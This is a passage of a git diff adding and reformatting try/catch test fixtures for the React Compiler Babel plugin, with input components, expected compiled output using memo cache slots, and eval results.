+      t1 = obj?.method?.(arg.value);
+      $[0] = arg;
+      $[1] = obj;
+      $[2] = t1;
+    } else {
+      t1 = $[2];
+    }
+    const result = t1;
+    const t2 = result ?? "no result";
+    let t3;
+    if ($[3] !== t2) {
+      t3 = <span>{t2}</span>;
+      $[3] = t2;
+      $[4] = t3;
+    } else {
+      t3 = $[4];
+    }
+    return t3;
+  } catch {
+    let t1;
+    if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <span>error</span>;
+      $[5] = t1;
+    } else {
+      t1 = $[5];
+    }
+    return t1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      obj: {
+        method: (x) => {
+          return "called:" + x;
+        },
+      },
+      arg: { value: 1 },
+    },
+  ],
+  sequentialRenders: [
+    {
+      obj: {
+        method: (x) => {
+          return "called:" + x;
+        },
+      },
+      arg: { value: 1 },
+    },
+    {
+      obj: {
+        method: (x) => {
+          return "called:" + x;
+        },
+      },
+      arg: { value: 1 },
+    },
+    {
+      obj: {
+        method: (x) => {
+          return "different:" + x;
+        },
+      },
+      arg: { value: 2 },
+    },
+    { obj: { method: null }, arg: { value: 3 } },
+    { obj: { notMethod: true }, arg: { value: 4 } },
+    { obj: null, arg: { value: 5 } }, // obj is null, short-circuits so arg.value is NOT evaluated
+    {
+      obj: {
+        method: (x) => {
+          return "test:" + x;
+        },
+      },
+      arg: null,
+    }, // errors because arg.value throws WITHIN the optional call
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>called:1</span>
+<span>called:1</span>
+<span>different:2</span>
+<span>no result</span>
+<span>no result</span>
+<span>no result</span>
+<span>error</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.js
new file mode 100644
index 000000000000..794bf3d46fa4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-call.js
@@ -0,0 +1,24 @@
+function Component({obj, arg}) {
+  try {
+    // arg.value is accessed WITHIN the optional call expression as an argument
+    // When obj is non-null but arg is null, arg.value throws inside the optional chain
+    const result = obj?.method?.(arg.value);
+    return <span>{result ?? 'no result'}</span>;
+  } catch {
+    return <span>error</span>;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{obj: {method: x => 'called:' + x}, arg: {value: 1}}],
+  sequentialRenders: [
+    {obj: {method: x => 'called:' + x}, arg: {value: 1}},
+    {obj: {method: x => 'called:' + x}, arg: {value: 1}},
+    {obj: {method: x => 'different:' + x}, arg: {value: 2}},
+    {obj: {method: null}, arg: {value: 3}},
+    {obj: {notMethod: true}, arg: {value: 4}},
+    {obj: null, arg: {value: 5}}, // obj is null, short-circuits so arg.value is NOT evaluated
+    {obj: {method: x => 'test:' + x}, arg: null}, // errors because arg.value throws WITHIN the optional call
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.expect.md
new file mode 100644
index 000000000000..0eee83b73c08
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+function Foo({json}) {
+  try {
+    const foo = JSON.parse(json)?.foo;
+    return <span>{foo}</span>;
+  } catch {
+    return null;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{json: '{"foo": "hello"}'}],
+  sequentialRenders: [
+    {json: '{"foo": "hello"}'},
+    {json: '{"foo": "hello"}'},
+    {json: '{"foo": "world"}'},
+    {json: '{"bar": "no foo"}'},
+    {json: '{}'},
+    {json: 'invalid json'},
+    {json: '{"foo": 42}'},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Foo(t0) {
+  const $ = _c(4);
+  const { json } = t0;
+  try {
+    let t1;
+    if ($[0] !== json) {
+      t1 = JSON.parse(json)?.foo;
+      $[0] = json;
+      $[1] = t1;
+    } else {
+      t1 = $[1];
+    }
+    const foo = t1;
+    let t2;
+    if ($[2] !== foo) {
+      t2 = <span>{foo}</span>;
+      $[2] = foo;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    return t2;
+  } catch {
+    return null;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ json: '{"foo": "hello"}' }],
+  sequentialRenders: [
+    { json: '{"foo": "hello"}' },
+    { json: '{"foo": "hello"}' },
+    { json: '{"foo": "world"}' },
+    { json: '{"bar": "no foo"}' },
+    { json: "{}" },
+    { json: "invalid json" },
+    { json: '{"foo": 42}' },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>hello</span>
+<span>hello</span>
+<span>world</span>
+<span></span>
+<span></span>
+null
+<span>42</span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.js
new file mode 100644
index 000000000000..da7c5bbab239
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-optional-chaining.js
@@ -0,0 +1,22 @@
+function Foo({json}) {
+  try {
+    const foo = JSON.parse(json)?.foo;
+    return <span>{foo}</span>;
+  } catch {
+    return null;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{json: '{"foo": "hello"}'}],
+  sequentialRenders: [
+    {json: '{"foo": "hello"}'},
+    {json: '{"foo": "hello"}'},
+    {json: '{"foo": "world"}'},
+    {json: '{"bar": "no foo"}'},
+    {json: '{}'},
+    {json: 'invalid json'},
+    {json: '{"foo": 42}'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.expect.md
new file mode 100644
index 000000000000..9c8eff9825dd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  let result;
+  try {
+    // fallback.value is accessed WITHIN the ternary's false branch
+    result = props.cond ? props.a : props.fallback.value;
+  } catch (e) {
+    result = 'error';
+  }
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 'hello', fallback: {value: 'world'}}],
+  sequentialRenders: [
+    {cond: true, a: 'hello', fallback: {value: 'world'}},
+    {cond: true, a: 'hello', fallback: {value: 'world'}},
+    {cond: false, a: 'hello', fallback: {value: 'world'}},
+    {cond: true, a: 'foo', fallback: {value: 'bar'}},
+    {cond: false, a: 'foo', fallback: null}, // errors because fallback.value throws WITHIN the ternary
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+function Component(props) {
+  let result;
+  try {
+    result = props.cond ? props.a : props.fallback.value;
+  } catch (t0) {
+    result = "error";
+  }
+
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, a: "hello", fallback: { value: "world" } }],
+  sequentialRenders: [
+    { cond: true, a: "hello", fallback: { value: "world" } },
+    { cond: true, a: "hello", fallback: { value: "world" } },
+    { cond: false, a: "hello", fallback: { value: "world" } },
+    { cond: true, a: "foo", fallback: { value: "bar" } },
+    { cond: false, a: "foo", fallback: null }, // errors because fallback.value throws WITHIN the ternary
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) "hello"
+"hello"
+"world"
+"foo"
+"error"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.js
new file mode 100644
index 000000000000..0536f6eb93a8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-ternary-expression.js
@@ -0,0 +1,22 @@
+function Component(props) {
+  let result;
+  try {
+    // fallback.value is accessed WITHIN the ternary's false branch
+    result = props.cond ? props.a : props.fallback.value;
+  } catch (e) {
+    result = 'error';
+  }
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 'hello', fallback: {value: 'world'}}],
+  sequentialRenders: [
+    {cond: true, a: 'hello', fallback: {value: 'world'}},
+    {cond: true, a: 'hello', fallback: {value: 'world'}},
+    {cond: false, a: 'hello', fallback: {value: 'world'}},
+    {cond: true, a: 'foo', fallback: {value: 'bar'}},
+    {cond: false, a: 'foo', fallback: null}, // errors because fallback.value throws WITHIN the ternary
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.expect.md
index 03d70b7feecf..092835e7eb23 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.expect.md
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
 
 ```
@@ -27,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function Component(props) {
   let x;
+
   return 42;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.js
index b05afadc6d92..2a0c831868b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-returns.js
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.expect.md
index 2ff13790585e..31e3361c21c7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.expect.md
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
 
 ```
@@ -27,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function Component(props) {
   let x;
+
   return 42;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.js
index f0b8f7351ad1..4f562212ec7e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-immediately-throws-after-constant-propagation.js
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.expect.md
index 6976489a4b7b..f03cb6147037 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x;
@@ -19,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: "foo", e: "bar" }],
+  params: [{y: 'foo', e: 'bar'}],
 };
 
 ```
@@ -33,7 +33,7 @@ const { throwInput } = require("shared-runtime");
 function Component(props) {
   const $ = _c(3);
   let x;
-  if ($[0] !== props.y || $[1] !== props.e) {
+  if ($[0] !== props.e || $[1] !== props.y) {
     try {
       const y = [];
       y.push(props.y);
@@ -43,12 +43,13 @@ function Component(props) {
       e.push(props.e);
       x = e;
     }
-    $[0] = props.y;
-    $[1] = props.e;
+    $[0] = props.e;
+    $[1] = props.y;
     $[2] = x;
   } else {
     x = $[2];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.js
index 3f4207ac0604..a4bf4699ec99 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch-escaping.js
@@ -1,4 +1,4 @@
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x;
@@ -15,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: "foo", e: "bar" }],
+  params: [{y: 'foo', e: 'bar'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.expect.md
index c5ad808d99ec..f6dadbb7dc9e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   try {
@@ -18,7 +18,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: "foo", e: "bar" }],
+  params: [{y: 'foo', e: 'bar'}],
 };
 
 ```
@@ -32,7 +32,7 @@ const { throwInput } = require("shared-runtime");
 function Component(props) {
   const $ = _c(3);
   let t0;
-  if ($[0] !== props.y || $[1] !== props.e) {
+  if ($[0] !== props.e || $[1] !== props.y) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
       try {
@@ -46,8 +46,8 @@ function Component(props) {
         break bb0;
       }
     }
-    $[0] = props.y;
-    $[1] = props.e;
+    $[0] = props.e;
+    $[1] = props.y;
     $[2] = t0;
   } else {
     t0 = $[2];
@@ -55,6 +55,7 @@ function Component(props) {
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
   }
+
   return null;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.js
index 578b9a0897d2..48df48c4546b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-try-value-modified-in-catch.js
@@ -1,4 +1,4 @@
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   try {
@@ -14,5 +14,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: "foo", e: "bar" }],
+  params: [{y: 'foo', e: 'bar'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.expect.md
index 586e80ffa134..fd5314932d30 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x = [];
@@ -32,8 +32,8 @@ const { throwInput } = require("shared-runtime");
 
 function Component(props) {
   const $ = _c(2);
-  let x;
   let t0;
+  let x;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -47,15 +47,16 @@ function Component(props) {
         break bb0;
       }
     }
-    $[0] = x;
-    $[1] = t0;
+    $[0] = t0;
+    $[1] = x;
   } else {
-    x = $[0];
-    t0 = $[1];
+    t0 = $[0];
+    x = $[1];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.js
index 9508694f9689..8120d25f7710 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-catch-param.js
@@ -1,4 +1,4 @@
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.expect.md
index 5b0a90459dc9..5934ac38a230 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { shallowCopy, throwInput } = require("shared-runtime");
+const {shallowCopy, throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x = [];
@@ -33,8 +33,8 @@ const { shallowCopy, throwInput } = require("shared-runtime");
 
 function Component(props) {
   const $ = _c(2);
-  let x;
   let t0;
+  let x;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = Symbol.for("react.early_return_sentinel");
     bb0: {
@@ -52,15 +52,16 @@ function Component(props) {
         break bb0;
       }
     }
-    $[0] = x;
-    $[1] = t0;
+    $[0] = t0;
+    $[1] = x;
   } else {
-    x = $[0];
-    t0 = $[1];
+    t0 = $[0];
+    x = $[1];
   }
   if (t0 !== Symbol.for("react.early_return_sentinel")) {
     return t0;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.js
index 640cb1ba1f34..c5226de9beb1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-with-return.js
@@ -1,4 +1,4 @@
-const { shallowCopy, throwInput } = require("shared-runtime");
+const {shallowCopy, throwInput} = require('shared-runtime');
 
 function Component(props) {
   let x = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.expect.md
index 2b666a18aa87..e8f6af8d582a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { throwInput } from "shared-runtime";
+import {throwInput} from 'shared-runtime';
 
 function Component(props) {
   const callback = () => {
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -29,10 +29,10 @@ import { c as _c } from "react/compiler-runtime";
 import { throwInput } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
-  if ($[0] !== props.value) {
-    t0 = () => {
+  if ($[0] !== props) {
+    const callback = () => {
       try {
         throwInput([props.value]);
       } catch (t1) {
@@ -40,21 +40,13 @@ function Component(props) {
         return e;
       }
     };
-    $[0] = props.value;
+    t0 = callback();
+    $[0] = props;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const callback = t0;
-  let t1;
-  if ($[2] !== callback) {
-    t1 = callback();
-    $[2] = callback;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.js
index bda4cfbb6d1b..e6b16357685e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression-returns-caught-value.js
@@ -1,4 +1,4 @@
-import { throwInput } from "shared-runtime";
+import {throwInput} from 'shared-runtime';
 
 function Component(props) {
   const callback = () => {
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.expect.md
index 4e9dbd5fed5f..5f55ec614296 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-function-expression.expect.md
@@ -26,16 +26,9 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(1);
+  const callback = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const callback = () => {
-      try {
-        return [];
-      } catch (t1) {
-        return;
-      }
-    };
-
     t0 = callback();
     $[0] = t0;
   } else {
@@ -43,6 +36,13 @@ function Component(props) {
   }
   return t0;
 }
+function _temp() {
+  try {
+    return [];
+  } catch (t0) {
+    return;
+  }
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.expect.md
index 1a1b048ab768..2b4fab6fefb9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-const { throwErrorWithMessage, shallowCopy } = require("shared-runtime");
+const {throwErrorWithMessage, shallowCopy} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
   try {
-    x.push(throwErrorWithMessage("oops"));
+    x.push(throwErrorWithMessage('oops'));
   } catch {
     x.push(shallowCopy({}));
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.js
index f6b971b75da4..edbb1659339b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-mutable-range.js
@@ -1,9 +1,9 @@
-const { throwErrorWithMessage, shallowCopy } = require("shared-runtime");
+const {throwErrorWithMessage, shallowCopy} = require('shared-runtime');
 
 function Component(props) {
   const x = [];
   try {
-    x.push(throwErrorWithMessage("oops"));
+    x.push(throwErrorWithMessage('oops'));
   } catch {
     x.push(shallowCopy({}));
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.expect.md
index 70d697f8f4c3..388ab73746f2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { throwInput } from "shared-runtime";
+import {throwInput} from 'shared-runtime';
 
 function Component(props) {
   const object = {
@@ -19,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -33,7 +33,7 @@ import { throwInput } from "shared-runtime";
 function Component(props) {
   const $ = _c(2);
   let t0;
-  if ($[0] !== props.value) {
+  if ($[0] !== props) {
     const object = {
       foo() {
         try {
@@ -44,9 +44,8 @@ function Component(props) {
         }
       },
     };
-
     t0 = object.foo();
-    $[0] = props.value;
+    $[0] = props;
     $[1] = t0;
   } else {
     t0 = $[1];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.js
index acc2f376a940..8088dcf1e972 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method-returns-caught-value.js
@@ -1,4 +1,4 @@
-import { throwInput } from "shared-runtime";
+import {throwInput} from 'shared-runtime';
 
 function Component(props) {
   const object = {
@@ -15,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.expect.md
index 80cde3265a3c..45f525eb1569 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-within-object-method.expect.md
@@ -39,7 +39,6 @@ function Component(props) {
         }
       },
     };
-
     t0 = object.foo();
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.expect.md
index 7e8e98e5a149..8ccec5f85696 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-const { throwErrorWithMessage } = require("shared-runtime");
+const {throwErrorWithMessage} = require('shared-runtime');
 
 function Component(props) {
   let x;
   try {
-    x = throwErrorWithMessage("oops");
+    x = throwErrorWithMessage('oops');
   } catch {
